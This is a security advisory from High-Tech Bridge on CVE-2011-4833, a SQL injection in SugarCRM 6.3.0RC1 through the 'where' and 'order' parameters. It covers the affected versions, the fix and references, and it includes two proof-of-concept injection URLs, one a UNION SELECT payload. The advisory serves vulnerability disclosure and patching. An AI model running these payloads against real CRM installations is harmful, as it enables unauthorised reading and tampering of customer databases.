SQL Injection in SugarCRM

66.9k
4
8
11
4
More
2
4

Advisory ID:	HTB23051
Product:	SugarCRM
Vendor:	SugarCRM Inc.
Vulnerable Versions:	Community Edition 6.3.0RC1 and probably prior
Tested Version:	Community Edition 6.3.0RC1
Advisory Publication:	October 5, 2011 [without technical details]
Vendor Notification:	October 5, 2011
Public Disclosure:	November 30, 2011
Latest Update:	November 30, 2011
Vulnerability Type:	SQL Injection [CWE-89]
CVE Reference:	CVE-2011-4833
Risk Level:	High

CVSSv2 Base Score:	7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:	Fixed by Vendor
Discovered and Provided:	High-Tech Bridge Security Research Lab
Advisory Details:
High-Tech Bridge SA Security Research Lab has discovered vulnerability in SugarCRM, which can be exploited to perform SQL injection attacks. 1) SQL Injection Vulnerability in SugarCRM: CVE-2011-4833 Input passed via the "where" and "order" GET parameters to index.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The following PoC code is available: http://[host]/index.php?entryPoint=json&action=get_full_list&module=Leads&wh ere=0%29%20union%20select%20version%28%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15, 16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,4 1,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66 ,67,68,69,70,71%20--%20 http://[host]/index.php?entryPoint=json&action=get_full_list&module=Leads&or der=SQL_CODE_HERE%20--%20 Successful exploitation of the vulnerabilities requires attacker to be registered and logged-in.
How to Detect SQL Injection Vulnerabilities Website Security Test GDPR & PCI DSS Test Website CMS Security Test CSP & HTTP Headers Check WordPress & Drupal Scanning Try For Free Solution:
This was addressed as a part of the following versions of SugarCRM. 6.1.7 ( http://www.sugarcrm.com/crm/support/bugs.html#issue_47839 ) 6.2.4 ( http://www.sugarcrm.com/crm/support/bugs.html#issue_47800 ) 6.3.0RC3 ( http://www.sugarcrm.com/crm/support/bugs.html#issue_47805 ) 6.4.0beta1 ( http://www.sugarcrm.com/crm/support/bugs.html#issue_47806 ) Upgrading to any of these versions will resolve the issue. Downloads are available at http://www.sugarforge.org/frs/?group_id=6.

References:
[1] High-Tech Bridge Advisory HTB23051 - https://www.immuniweb.com/advisory/HTB23051 - SQL Injection Vulnerability in SugarCRM [2] SugarCRM - sugarcrm.com - Sugar is an affordable and easy to use customer relationship management (CRM) platform, designed to help your business communicate with prospects, share sales information, close deals and keep customers happy. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Previous Security Advisories with CWE-89:

HTB23046: Multiple Vulnerabilities in Traq

HTB23043: Multiple Vulnerabilities in SiT! Support Incident Tracker

66.9k
4
8
11
4
More
2
4

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.